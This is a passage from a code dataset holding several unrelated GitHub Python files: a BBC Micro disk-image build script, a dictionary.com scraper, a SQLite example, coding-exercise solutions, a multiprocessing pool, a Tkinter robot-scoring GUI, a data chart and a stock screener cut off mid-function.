num_sectors = 800\n\n    ssd_bytes = bytearray(disk_title.upper()[0:7], 'Latin-1')\n    for i in range(len(disk_title), 0x106):\n        ssd_bytes.append(0)\n    ssd_bytes.append((boot_option * 16) + (disk_type * 4) + (num_sectors // 256))\n    ssd_bytes.append(num_sectors & 255)\n    for i in range(0x108, 0x200):\n        ssd_bytes.append(0)\n    with open(ssd_filepath, 'wb') as f:\n        f.write(ssd_bytes)\n\ndef assemble_binary(asm_filepath, dest_filepath):\n    # Assemble\n    asm_filename = os.path.basename(asm_filepath)\n    symbols_filepath = \"build/\" + asm_filename + \"_symbols.txt\"\n    dest_filename = os.path.basename(dest_filepath)\n    bbc_bin_filename = convert_to_bbc_filename(dest_filename)\n\n    args = [\"acme\",\n            \"--symbollist\", symbols_filepath,\n            \"-r\", \"build/\" + asm_filename + \"_report.txt\",\n            \"-o\", dest_filepath,\n            asm_filepath]\n    run(args, \"assembly failed\")\n\n    run([\"sort\", \"-o\", symbols_filepath, symbols_filepath], \"sort failed\")\n\n    # Get the 'entry_point' symbol\n    # pattern1 = r\".*entry_point\\t.*\\$([0-9a-f][0-9a-f][0-9a-f][0-9a-f])\"\n    # records = open(symbols_filepath, 'r').readlines()\n    # entry_point = -1\n    # for line in records:\n    #     x = re.search(pattern1, line)\n    #     if x:\n    #         entry_point = int(x.group(1), 16)\n    # if entry_point < 0:\n    #     exit(-1, \"entry_point not found in symbols file '\" + symbols_filepath + \"'\")\n\n    # Create INF for destination file\n    size = os.path.getsize(dest_filepath)\n    make_inf(dest_filename, bbc_bin_filename, load_address, exec_address, size)\n\n\ndef prepare_disk(output_bin_filenames, bbc_bin_filename, ssd_filepath):\n    if bbc_bin_filename != \"\":\n        bbc_bin_filename = \":*RUN \" + bbc_bin_filename\n\n    # Write !BOOT file\n    boot_text = \"*BASIC\\rPAGE=&1900\\r*FX21\\rCLOSE#0\" + bbc_bin_filename + \"\\r\"\n    with open(\"build/disk/!BOOT\", 'w') as f:\n        f.write(boot_text)\n\n    # Create INF file for !BOOT\n    size = len(boot_text)\n    make_inf(\"!BOOT\", \"!BOOT\", \"FFFF\", \"FFFF\", size)\n\n    # Make an empty SSD with a title\n    ssd_title, ssd_extension = os.path.splitext(os.path.basename(ssd_filepath))\n    create_ssd(ssd_title, ssd_filepath, boot_option)\n\n    # Add all appropriate files to the SSD\n    disk_image = image.DiskImage()\n    disk_image.set_disk(ssd_filepath)\n\n    os.chdir(\"build/disk/\")\n    disk_image.insert(\"!BOOT\")          # add !BOOT file\n    for file in output_bin_filenames:\n        disk_image.insert(file)         # add reassembled binary files\n    for file in aux_files_to_copy:\n        disk_image.insert(file)         # add auxiliary files\n    os.chdir(\"../../\")\n\ndef check_diffs(bin_filepath1, bin_filepath2):\n    with open(bin_filepath1, 'rb') as f1:\n        f1 = f1.read()\n    with open(bin_filepath2, 'rb') as f2:\n        f2 = f2.read()\n\n    # Find and print the diff:\n    e = difflib.Differ().compare(f1, f2)\n    for i in e:\n           if i.startswith(\"-\"):         #if that char start with \"-\" is not a match\n               print(i + \"index is different\")\n\ndef open_disk(ssd_filepath, emulator):\n    if emulator == \"b2\":\n        run([\"osascript\", \"-e\", \"\\\"quit app 'b2 Debug'\\\"\"], \"Could not run osascript to quit any existing b2 Debug instance\")\n        run([\"sleep\", \"1\"], \"Could not wait for a second\")\n        run([\"open\", \"-a\", \"b2 Debug\", \"--args\", \"-0\", ssd_filepath, \"-b\"], \"Could not launch b2 Debug\")\n    else:\n        run([\"open\", ssd_filepath], \"Could not launch SSD\")\n\ndef read_inf(filepath):\n    with open(filepath, 'r') as f:\n        text = f.readlines()\n\n    pattern_inf = r\"(.*?) +([0-9a-fA-F]+) +([0-9a-fA-F]+)\"\n    load_address = \"\"\n    exec_address = \"\"\n    for line in text:\n        x = re.search(pattern_inf, line)\n        if x:\n            load_address = hex(int(x.group(2), 16))[2:]\n            exec_address = hex(int(x.group(3), 16))[2:]\n    return (load_address, exec_address)\n\ndef convert_to_bbc_filename(host_filename):\n    filename = host_filename.replace(\"#slash\"   , \"/\")\n    filename = filename.replace(\"#question\"     , \"?\")\n    filename = filename.replace(\"#less\"         , \"<\")\n    filename = filename.replace(\"#greater\"      , \">\")\n    filename = filename.replace(\"#backslash\"    , \"\\\\\")\n    filename = filename.replace(\"#colon\"        , \":\")\n    filename = filename.replace(\"#star\"         , \"*\")\n    filename = filename.replace(\"#bar\"          , \"|\")\n    filename = filename.replace(\"#quote\"        , \"\\\"\")\n    return filename\n\ndef post_process_binary(output_bin_filepath):\n    pass\n# Example, progressively EORing bytes in 'Thrust':\n#    if output_bin_filepath.lower().endswith(\"thrust3\"):\n#        # Read file\n#        with open(output_bin_filepath, 'rb') as f:\n#            thrust3 = f.read()\n#        thrust3 = bytearray(thrust3)\n#        thrust3_out = bytearray()\n#        thrust3_out[:] = thrust3\n#\n#        # Obfuscate bytes\n#        load_addr = 0x1a00\n#        for addr in range(0x1a00 - load_addr, 0x56ea - load_addr):\n#            thrust3_out[addr + 1] ^= thrust3[addr]\n#\n#        # Write file\n#        with open(output_bin_filepath, 'wb') as f:\n#            f.write(thrust3_out)\n\nssd_filepath = make_absolute_filepath(ssd_filepath)\nmake_directory(\"build/disk\")\ncopy_files(aux_files_to_copy)\n\noutput_bin_filenames = []\nfor file in original_bin_filepaths:\n    output_bin_filename = os.path.basename(file)                        # e.g. 'ZALAGA#question'\n    output_bin_filenames.append(output_bin_filename)\n    output_bin_filename_no_extension, _ = os.path.splitext(output_bin_filename)\n    output_bin_filepath = \"build/disk/\" + output_bin_filename           # e.g. 'build/disk/ZALAGA#question'\n    bbc_bin_filename    = convert_to_bbc_filename(output_bin_filename)  # e.g. 'ZALAGA?'\n\n    load_address, exec_address = read_inf(file + \".inf\")\n\n    acme_asm_filepath = \"source/\" + output_bin_filename_no_extension + \"_acme.asm\"\n    beebasm_asm_filepath = \"source/\" + output_bin_filename_no_extension + \"_beebasm.asm\"\n    py_filepath  = \"source/\" + output_bin_filename_no_extension + \".py\"\n    disassemble_binary(py_filepath, acme_asm_filepath, \"--acme\")\n    disassemble_binary(py_filepath, beebasm_asm_filepath, \"--beebasm\")\n    assemble_binary(acme_asm_filepath, output_bin_filepath)\n    post_process_binary(output_bin_filepath)\n    check_diffs(file, output_bin_filepath)\n\n# Get BBC filename of file to execute on BOOT\nif len(output_bin_filenames) > 0:\n    bbc_bin_filename = convert_to_bbc_filename(os.path.basename(original_bin_filepaths[0]))\nelse:\n    bbc_bin_filename = None\n\nprepare_disk(output_bin_filenames, bbc_bin_filename, ssd_filepath)\n\nemulator = \"b2\" if os.environ['USER'] == \"tobynelson\" else \"beebem\"\n#open_disk(ssd_filepath, emulator)\n","repo_name":"TobyLobster/lisp","sub_path":"tools/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":9382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"35811115462","text":"# encoding: utf-8\n\nimport requests\nimport re\nfrom pyquery import PyQuery\nimport pdb\ndebug = pdb.set_trace\n\nheaders = {\n    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36'}\n\nclass Dictionarycom(object):\n    URL = \"https://www.dictionary.com/browse/{word}\"\n\n    def search(self, word):\n        # print(self.URL.format(word=word))\n        response = requests.get(self.URL.format(word=word.replace(' ', '-')), headers=headers)\n        text = response.text\n\n        # f = open('temp.txt')\n        # text = f.read()\n        # f.close()\n\n        doc = PyQuery(text)\n        results = []\n        if ' ' in word:\n            divs = doc('section div:has(\"section.entry-headword\")')\n        else:\n            divs = doc('section div:has(\"section.entry-headword\"):has(\".pron-spell-container\"):has(\".pron-ipa-content\")')\n        if not divs:\n            return {\"status\": 'error', \"error_detail\": \"Nothing found.\"}\n\n        for def_div in divs:\n            def_div = PyQuery(def_div)\n            # 単語\n            word = def_div('h1,h2').text()\n            # 単語\n\n            # 発音\n            pron = def_div('.pron-ipa-content').text()\n            if pron == '':\n                pron = None\n            else:\n                pron = pron.replace(' ', '').replace('/', '')\n            # 発音\n\n            # 音声\n            sound = def_div('audio source[type=\"audio/mpeg\"]').attr('src')\n            # 音声\n\n            # 定義\n            definitions = []\n            meaning_section = def_div('section:not(.entry-headword)')\n\n            for section in meaning_section:\n                # debug()\n                section = PyQuery(section)\n                word_type = section('h3').text()\n                meanings = []\n                meaning_divs = section('.default-content>div, .expandable-content>div')\n                if not meaning_divs:\n                    meaning_divs = section.children('div>div')\n                for meaning_div in meaning_divs:\n                    meaning_div = PyQuery(meaning_div)\n                    # label = meaning_div('.luna-label')\n                    # if label:\n                    #     # print('xxx', label.text())\n                    #     x = label.text()\n                    #     meaning_div('.luna-labset').replaceWith(x)\n                    #     # print(meaning_div)\n                    # a = meaning_div('a')\n                    # if a:\n                    #     x = a.text()\n                    #     meaning_div('a').replaceWith(x)\n                    # decoration = meaning_div('.italic, .bold')\n                    # if decoration:\n                    #     # debug()\n                    #     for _decoration in decoration:\n                    #\n                    #         # x = decoration.text()\n                    #         _decoration.replaceWith(_decoration.text())\n                    # text = meaning_div.children('span').clone().children().remove().end().text()\n\n                    meaning = dict()\n                    example = meaning_div('.luna-example').text()\n                    if example:\n                        meaning['example'] = example\n                    sub_lis = meaning_div('li')\n                    if sub_lis:\n                        meaning['subs'] = list(map(lambda x: PyQuery(x).text(), sub_lis))\n\n                    meaning_div('.luna-example').remove()\n                    meaning_div('li').remove()\n                    text = meaning_div.text()[:-1]\n                    meaning['text'] = text\n\n                    meanings.append(meaning)\n                # print(len(meaning_divs))\n                definitions.append(dict(\n                    word_type=word_type,\n                    meanings=meanings\n                ))\n            # print(len(definitions))\n            # 定義\n            results.append(dict(\n                word=word,\n                pron=pron,\n                sound=sound,\n                definitions=definitions\n            ))\n        if results:\n            return {\"status\": 'success', \"results\": results}\n        else:\n            return {\"status\": 'error', \"error_detail\": \"Nothing found.\"}\n\nif __name__ == '__main__':\n    import json\n    import argparse\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-w', '--word', default='test')\n    a = parser.parse_args()\n    d = Dictionarycom()\n    print('word:', a.word)\n    print(json.dumps(d.search(a.word), indent=2, ensure_ascii=False))\n","repo_name":"hrdrq/dictionary","sub_path":"server/en/parser/dictionarycom.py","file_name":"dictionarycom.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43750448653","text":"import sqlite3 as sq\n\n# уроки по SQLLite (c) selfedu.\n# команды SELECT. Вывод в печать результата выборки при помощи цикла for\n\nquery = \"\"\"\nSELECT * FROM users WHERE score > 100 ORDER BY score DESC LIMIT 5\n\"\"\"\n\nwith sq.connect('saper.db') as con:\n    cur = con.cursor()\n    cur.execute(query)\n\n    for result in cur:\n        print(result)\n\n","repo_name":"cherrydan/python-for-work","sub_path":"sqllite by selfedu/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36464753275","text":"#\n# * Core 111, Gravitation\n# * Medium\n\n# * You are given a vertical box divided into equal columns. Someone dropped \n# * several stones from its top through the columns. Stones are falling straight \n# * down at a constant speed (equal for all stones) while possible (i.e. while \n# * they haven't reached the ground or they are not blocked by another motionless \n# * stone). Given the state of the box at some moment in time, find out which \n# * columns become motionless first.\n\n# * Example\n\n# For\n\n# rows = [\"#..##\",\n#         \".##.#\",\n#         \".#.##\",\n#         \".....\"]\n\n# the output should be gravitation(rows) = [1, 4].\n\n# Check out the image below for better understanding:\n\n# * Input/Output\n\n#     [execution time limit] 4 seconds (py3)\n\n#     [input] array.string rows\n\n#     A non-empty array of strings of equal length consisting only of #-s and .-s describing the box at a specific moment in time. Sharps represent stones, and dots represent empty cells. row[0] corresponds to the upper row. Last element of rows corresponds to the ground level.\n\n#     Guaranteed constraints:\n#     2 ≤ rows.length ≤ 100,\n#     2 ≤ rows[i].length ≤ 100.\n\n#     [output] array.integer\n\n#     A sorted array containing numbers of all columns (leftmost column's number is 0) in which movements will stop at the same second and earlier than in any other column. Assume that if there are no stones in a column then movement stops immediately, i.e. after 0 seconds.\n\n\n#%%\n\n# * Solution 1\ndef gravitation(rows: list) -> list:\n    n = len(rows)\n    m = len(rows[0])\n\n    def checkCol(j: int)-> int:\n        count = 0\n        isCounting = False\n        for i in range(n):\n            if not isCounting and rows[i][j] == '#':\n                isCounting = True\n            elif isCounting and rows[i][j] == '.':\n                count += 1\n        \n        return count\n\n    counts = []\n    for j in range(m):\n        counts.append(checkCol(j))\n\n    # print(counts)\n\n    minCount = min(counts)\n\n    # print(list(enumerate(counts)))\n\n    return [i for i, x in enumerate(counts) if x == minCount]\n\n\n# * Solution 2\ndef gravitation2(rows):\n    t = [''.join(r).lstrip('.').count('.') for r in zip(*rows)]\n    return [i for i in range(len(t)) if t[i] == min(t)]\n\n\n\na1 = [\"#..##\",\n      \".##.#\",\n      \".#.##\",\n      \".....\"]\nr1 = gravitation(a1)\nprint(r1)\n","repo_name":"Vagacoder/Codesignal","sub_path":"python/Arcade/Core/C111Gravitation.py","file_name":"C111Gravitation.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"18988283177","text":"# NOTE: mbox-short.txt, mbox.txt, test1.txt, test2.txt deleted for security purposes\n\nfname = input('Please enter a file name to test: ')\n\ntry:\n\tfileobj = open(fname, 'r')\n\tfilelines = fileobj.readlines()\n\n\tdayCount = {}\n\tfor aline in filelines:\n\t\tif aline.startswith(\"X-DSPAM-Processed\"):\n\t\t\tif aline[19:22] not in dayCount:\n\t\t\t\tdayCount[aline[19:22]] = 0\n\t\t\tdayCount[aline[19:22]] += 1\n\n\tfileobj.close()\n\n\tdayValues = dayCount.items()\n\n\tsortedDayCount = sorted(dayValues, key = lambda x:x[1], reverse = True)\n\n\tfor item in sortedDayCount:\n\t \tprint (str(item[1]) + \" \" + str(item[0]))\n\nexcept:\n\tprint ('Invalid file name!')\n","repo_name":"marcyheld/SI507","sub_path":"lab-2-assignment-marcyheld/busydays.py","file_name":"busydays.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35910788030","text":"def to_symbols_for_element(text):\n    one_chars = [1, 5, 6, 7, 8, 9, 15, 16, 19]\n    split = text.split(\" \")\n    return {index+1:value[0] if index+1 in one_chars else value[0:2] for (index, value) in enumerate(split)}\n\n\nsymbols = to_symbols_for_element(\"Hi He Lied Because Boron Could Not Oxidize Fluorine. New Nations Might Also Sign Peace Security Clause. Arthur King Can.\")\nprint(symbols)\nprint(symbols[1])\nprint(symbols[5])\n","repo_name":"aha-oretama/nlp100","sub_path":"chapter1/04.py","file_name":"04.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39740576003","text":"# -*- coding: utf-8 -*-\n\n__all__ = ['ProcessPool', 'ProcessPoolException']\n\nimport time\nimport logging\nimport Queue\nimport traceback\nfrom threading import Thread\nfrom multiprocessing import (\n    JoinableQueue,\n    Process,\n    Value,\n    cpu_count,\n)\n\n\nSTOPPED = 0\nRUNNING = 1\n\n\nclass ProcessPoolException(Exception):\n    def __init__(self, message=None):\n        super(ProcessPoolException, self).__init__(message)\n\n\nclass Worker(Process):\n\n    def __init__(self, pool, logger_name=None):\n        super(Worker, self).__init__()\n        self.logger = logging.getLogger(logger_name or __name__)\n        self.pool = pool\n        self.interval = pool.interval\n        self._state = Value('d', STOPPED)\n\n    def run(self):\n        while self.is_active():\n            try:\n                (work_class, args, kwargs) = self.get_nowait()\n                try:\n                    result = work_class(*args, **kwargs)\n                    self.register_result(result)\n                except Exception as exc:\n                    self.trace_exc(exc, traceback.format_exc())\n                finally:\n                    self.task_done()\n                    if self.interval:\n                        time.sleep(self.interval)\n            except Queue.Empty:\n                time.sleep(0.1)\n                continue\n            except (EOFError, OSError) as exc:\n                self.trace_exc(\n                    exc,\n                    traceback.format_exc())\n                self.stop()\n\n    def is_active(self):\n        return self.state == RUNNING\n\n    def get_nowait(self):\n        return self.pool.task_queue.get_nowait()\n\n    def trace_exc(self, exc, tb=None):\n        try:\n            self.pool.exc_queue.put((exc, tb), True, 1)\n        except Exception:\n            pass\n\n    def register_result(self, result):\n        try:\n            self.pool.result_queue.put(result, True, 1)\n        except Exception:\n            pass\n\n    def task_done(self):\n        self.pool.task_queue.task_done()\n\n    @property\n    def state(self):\n        return self._state.value\n\n    @state.setter\n    def state(self, val):\n        self._state.value = val\n\n    def start(self):\n        self.state = RUNNING\n        super(Worker, self).start()\n\n    def stop(self):\n        self.state = STOPPED\n\n\nclass SentinelThread(Thread):\n\n    def __init__(self, pool, logger_name=None):\n        super(SentinelThread, self).__init__()\n        self.logger = logging.getLogger(logger_name or __name__)\n        self.pool = pool\n        self.state = STOPPED\n\n    def run(self):\n        while self.state == RUNNING:\n            if self.recycle_worker() > 0:\n                self.revive_worker()\n            time.sleep(0.5)\n\n    def recycle_worker(self):\n        recycled = 0\n        for (pivot, w) in enumerate(self.pool.pool):\n            if w.exitcode is not None:\n                w.join()\n                recycled += 1\n                self.delete(pivot)\n        return recycled\n\n    def revive_worker(self):\n        for _ in range(self.pool.pool_size - len(self.pool.pool)):\n            w = Worker(self.pool)\n            w.daemon = True\n            w.start()\n            self.add(w)\n\n    def add(self, w):\n        self.pool.pool.append(w)\n\n    def delete(self, pivot):\n        del self.pool.pool[pivot]\n\n    def start(self):\n        self.state = RUNNING\n        super(SentinelThread, self).start()\n\n    def stop(self):\n        self.state = STOPPED\n\n\nclass ProcessPool(object):\n\n    def __init__(self, pool_size=None, max_load_single_proc=3, interval=None,\n                 logger_name=None):\n        self.logger = logging.getLogger(logger_name or __name__)\n        self.pool_size = pool_size if pool_size else self.get_default_size()\n        self.max_load_single_proc = max_load_single_proc\n        self.interval = interval\n        self.reject_add_task = False\n        self.task_queue = JoinableQueue(\n            self.pool_size * self.max_load_single_proc)\n        self.result_queue = JoinableQueue()\n        self.exc_queue = JoinableQueue()\n        self.pool = []\n        self.state = RUNNING\n        self.init_worker_pool()\n        self.sentinel_thread()\n\n    def spawn(self, worker_class, *args, **kwargs):\n        if not callable(worker_class):\n            raise ProcessPoolException('pool worker class must be callable')\n        self.add_task((worker_class, args, kwargs))\n\n    def add_task(self, task):\n        if self.reject_add_task:\n            raise ProcessPoolException('closed queue not allowed add task')\n        self.task_queue.put(task)\n\n    def get_default_size(self):\n        cpu_cnt = cpu_count()\n        return 2 if cpu_cnt <= 2 else int(cpu_cnt * 0.8) + 1\n\n    def init_worker_pool(self):\n        for _ in range(self.pool_size):\n            w = Worker(self)\n            w.daemon = True\n            self.pool.append(w)\n        for w in self.pool:\n            w.start()\n\n    def sentinel_thread(self):\n        self.sentinel = SentinelThread(self)\n        self.sentinel.daemon = True\n        self.sentinel.start()\n\n    def join_queue(self):\n        self.reject_add_task = True\n        self.task_queue.join()\n\n    def stop(self):\n        self.sentinel.stop()\n        self.sentinel.join()\n        for w in self.pool:\n            w.stop()\n        for w in self.pool:\n            if w.is_alive():\n                w.join()\n        del self.pool[:]\n        self.state = STOPPED\n\n    def join(self, raise_error=False):\n        self.join_queue()\n        self.stop()\n        if raise_error:\n            try:\n                exc, _ = self.exc_queue.get_nowait()\n            except Queue.Empty:\n                pass\n            else:\n                raise exc\n\n    @property\n    def exceptions(self):\n        _exceptions = getattr(self, '_exceptions', [])\n        if _exceptions:\n            return _exceptions\n        while True:\n            try:\n                err, tb = self.exc_queue.get_nowait()\n                _exceptions.append((err, tb))\n            except Queue.Empty:\n                break\n        self._exceptions = _exceptions\n        return _exceptions\n\n    @property\n    def results(self):\n        _results = getattr(self, '_results', [])\n        if _results:\n            return _results\n        while True:\n            try:\n                res = self.result_queue.get_nowait()\n                _results.append(res)\n            except Queue.Empty:\n                break\n        self._results = _results\n        return _results\n","repo_name":"streethacker/woodpecker","sub_path":"woodpecker/procpool.py","file_name":"procpool.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37433640011","text":"import tkinter as tk\n\n\n''' TODO\n1. setuj da ne bude resizable\n2. podesi sve unose\n3. napravi backend funkcije za racunanje\n'''\n\n# set windows\nwin = tk.Tk()\nwin.resizable(0,0)\nwin.title(\"Robot points 2020\")\nwin.geometry(\"600x600\")\n#image1 = Image.open('background_image.jpg')\nbackgroundImage = tk.PhotoImage(file = 'background_image_case.png')\nbackground_label = tk.Label(win, image=backgroundImage)\nbackground_label.place(x=0, y=0, relwidth=1, relheight=1)\n\n# points variables\ntable_points = tk.IntVar()\nrobot_points = tk.IntVar()\ntotal_points = tk.IntVar()\n\n# true or false variables\nvetrokaz1 = tk.BooleanVar()\nvetrokaz2 = tk.BooleanVar()\nantena = tk.BooleanVar()\nzastavica = tk.BooleanVar()\n# count of glasses variables\ncrvene_linija_velika = tk.IntVar()\ncase_unutar_velika = tk.IntVar()\nzelene_linija_velika = tk.IntVar()\ncrvene_mala = tk.IntVar()\nzelene_mala = tk.IntVar()\nunutar_mala = tk.IntVar()\nroboti_u_dobroj_luci = tk.IntVar()\n\n# functions for count points\ndef count_table_points():\n    # logic for counting points\n    ukupno = 0\n\n    # velika luka\n    # 1 bod za sve u luci, 1 bod po svakoj koja je na svojoj boji, 2 boda za svaki par\n    validne_case = crvene_linija_velika.get() + zelene_linija_velika.get() + case_unutar_velika.get()\n    parovi = int((crvene_linija_velika.get() + zelene_linija_velika.get()) / 2 )\n    ukupno = ukupno + validne_case + crvene_linija_velika.get() + zelene_linija_velika.get() + parovi*2\n\n    # mala luka\n    # 1 bod za sve u luci, 1 bod po svakoj koja je na svojoj boji, 2 boda za svaki par\n    validne_case = crvene_mala.get() + zelene_mala.get() + unutar_mala.get()\n    parovi = int((crvene_mala.get() + zelene_mala.get()) / 2 )\n    ukupno = ukupno + validne_case + crvene_mala.get() + zelene_mala.get() + parovi*2\n\n    # vetrenjace\n    vetrenjace_bodovi = 0\n    if (vetrokaz1.get() == 1 and vetrokaz2.get() == 1):\n        vetrenjace_bodovi = 15\n    elif ((vetrokaz1.get() == 1 and vetrokaz2.get() == 0) or (vetrokaz1.get() == 0 and vetrokaz2.get() == 1)):\n        vetrenjace_bodovi = 5\n    ukupno = ukupno + vetrenjace_bodovi\n\n    # svetionik bodovi\n    # 2 boda ako je postavljen, +3 ako je aktiviran, +10 ako je validan\n    # za sada cu da stavim samo jedan bool za svih 15, da smanjim komplikaciju\n    svetionik_bodovi = 0\n    if(antena.get()):\n        svetionik_bodovi = 15\n    ukupno = ukupno + svetionik_bodovi\n\n    # roboti u luci\n    # doraditi logiku na osnovu strane 16 iz pravila\n    roboti_luka_bodovi = roboti_u_dobroj_luci.get() * 5\n    ukupno = ukupno + roboti_luka_bodovi\n\n    # podignuta zasavica\n    zastavica_bodovi = 0\n    if(zastavica.get()):\n        zastavica_bodovi = 10\n\n    ukupno = ukupno + zastavica_bodovi\n\n    table_points.set(ukupno)\n\n\ndef count_total_points():\n    delta = robot_points.get() - table_points.get()\n    if(delta < 0):\n        delta = - delta\n\n    bonus = (0.3 * table_points.get()) - delta\n    if(bonus < 0):\n        bonus = 0\n\n    total_points.set(table_points.get() + bonus)\n\n\n# elements of GUI\nlab_antena = tk.Label(win, text = \"Svetionik\")\nlab_antena.place(x=417, y=50)\ntk.Checkbutton(win, variable=antena).place(x=425, y=65)\n\nlab_vetrokaz1 = tk.Label(win, text = \"Vetrokaz 1\")\nlab_vetrokaz1.place(x=360, y=360)\ntk.Checkbutton(win, variable=vetrokaz1).place(x=370, y=380)\n\nlab_vetrokaz2 = tk.Label(win, text = \"Vetrokaz 2\")\nlab_vetrokaz2.place(x=420, y=360)\ntk.Checkbutton(win, variable=vetrokaz2).place(x=430, y=380)\n\n# case\nlab_crvene_na_liniji_velika = tk.Label(win, text = \"Crvene na liniji\")\nlab_crvene_na_liniji_velika.place(x=500, y=140)\ntk.OptionMenu(win, crvene_linija_velika, 0,1,2,3,4,5,6).place(x=515, y=160)\n\nlab_case_unutar_velika = tk.Label(win, text = \"Case unutar\")\nlab_case_unutar_velika.place(x=500, y=190)\ntk.OptionMenu(win, case_unutar_velika, 0,1,2,3,4,5,6).place(x=515, y=210)\n\nlab_zelene_na_liniji_velika = tk.Label(win, text = \"Zelene na liniji\")\nlab_zelene_na_liniji_velika.place(x=500, y=240)\ntk.OptionMenu(win, zelene_linija_velika, 0,1,2,3,4,5,6).place(x=515, y=260)\n\nlab_zelene_na_liniji_mala = tk.Label(win, text = \"Zelene\")\nlab_zelene_na_liniji_mala.place(x=130, y=350)\ntk.OptionMenu(win, zelene_mala, 0,1,2,3,4,5,6).place(x=130, y=370)\n\n\nlab_crvene_na_liniji_mala = tk.Label(win, text = \"Crvene\")\nlab_crvene_na_liniji_mala.place(x=235, y=350)\ntk.OptionMenu(win, crvene_mala, 0,1,2,3,4,5,6).place(x=230, y=370)\n\n\nlab_unutar_mala = tk.Label(win, text = \"Unutar\")\nlab_unutar_mala.place(x=180, y=350)\ntk.OptionMenu(win, unutar_mala, 0,1,2,3,4,5,6).place(x=180, y=370)\n\n# button for counting points from table\ntk.Button(win, text=\"Bodovi sa stola\", command = count_table_points).place(x=80, y=530)\ntk.Label(win, textvariable = table_points).place(x=200, y=530)\n\n# enter prediction points\ntk.Label(win, text = \"Predikcija: \").place(x=290, y=450)\nbox_prediction = tk.Entry(win, textvariable = robot_points)\nbox_prediction.place(x=350, y=450)\n\n# total points\ntk.Button(win, text = \"Ukupni bodovi\", command = count_total_points).place(x=290, y=530)\ntk.Label(win, textvariable = total_points).place(x=410, y=530)\n\n# robots in valid mooring zone\ntk.Label(win, text = \"Roboti u dobroj luci: \").place(x=80, y=450)\ntk.OptionMenu(win, roboti_u_dobroj_luci, 0,1,2).place(x=210, y=442)\n\n# raisted flag\ntk.Label(win, text = \"Podignuta zastavica\").place(x=80, y=485)\ntk.Checkbutton(win, variable=zastavica).place(x=210, y=485)\n\nwin.mainloop()\n\n\n","repo_name":"dusankg/Memristor-GUI-for-points-2020","sub_path":"robotPoints.py","file_name":"robotPoints.py","file_ext":"py","file_size_in_byte":5359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34461625786","text":"from random import random\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef bed_bath_chart(df):\n    df_bed_bath = df[['bedrooms', 'bathrooms', 'number_of_reviews']]\n\n    # maps number of bathrooms to an index\n    bathroom_dict = {0: 0, 0.5: 1, 1: 2, 1.5: 3, 2: 4, 2.5: 5, 3: 6, 3.5: 7, 4: 8, 4.5: 9, 5: 10, 5.5: 11, 6: 12}\n    # contains total number of reviews for bed/bath combo\n    bed_bath_matrix = np.zeros((6, 13))\n\n    # sum total number of reviews for the different bed/bath combos\n    for index in df_bed_bath.index:\n        num_bed = int(df.at[index, 'bedrooms'])\n        num_bath = df.at[index, 'bathrooms']\n        reviews = df.at[index, 'number_of_reviews']\n        bed_bath_matrix[num_bed][bathroom_dict[num_bath]] += reviews\n\n\n    fig = plt.figure(figsize=(10,10))\n    ax = fig.add_subplot()\n    ax.set_xlabel('Bathrooms')\n    ax.set_ylabel('Bedrooms')\n    ax.set_xticklabels([0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6])\n    ax.set_xticks([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13])\n    ax.set_title('Total Reviews for Bed/Bath combinations')\n    for i in range(len(bed_bath_matrix[0])):\n        for j in range(len(bed_bath_matrix)):\n            val = bed_bath_matrix[j,i]\n            ax.text(i, j, str(val), va='center', ha='center')\n    plt.imshow(bed_bath_matrix)\n\n    return bed_bath_matrix\n","repo_name":"prsn670/Airbnb-project","sub_path":"analyze/.ipynb_checkpoints/bed_bath-checkpoint.py","file_name":"bed_bath-checkpoint.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"10872284111","text":"__author__ = 'petermarschel'\n\n\nimport requests\nimport bs4\nimport re\nimport Inv_Tools\n\nclass Bio_Company(Inv_Tools.Company):\n\n    def __init__(self, ticker):\n\n        super(Bio_Company, self).__init__(ticker)\n\n        self.InstOwn = 0\n\n        try:\n            self.initInstOwn()\n\n        except Exception as e:\n            self.OK = False\n            self.error = str(e)\n\n    def initInstOwn(self):\n\n        URL_ROOT = \"https://www.google.com/finance?q=\"\n        URL_TOT = URL_ROOT + self.exchange + \"%3A\" + self.ticker\n        response = requests.get(URL_TOT)\n        soup = bs4.BeautifulSoup(response.text)\n\n        target = soup.find_all(name=\"table\", class_=\"snap-data\")\n\n        elements = list(target[1].children)\n        IO_group = elements[9].contents\n\n        raw = IO_group[3].contents[0]\n        p = re.compile('[%]')\n\n        if '%' in raw:\n            self.InstOwn = int(p.split(raw)[0])\n\n    def calcOICov(self):\n\n        curr_cash = self.cash[0]\n        OI_ann = sum(self.OI)\n\n        if OI_ann == 0:\n            return -10\n        else:\n            return -round(curr_cash/OI_ann,2)\n\n    def passScreen(self, ms15_lim, OIcov_lim, instOwn_lim):\n\n        if self.InstOwn < instOwn_lim:\n            return False\n        elif self.calcOICov() < OIcov_lim:\n            return False\n        elif self.calcMS(15) > ms15_lim:\n            return False\n        else:\n            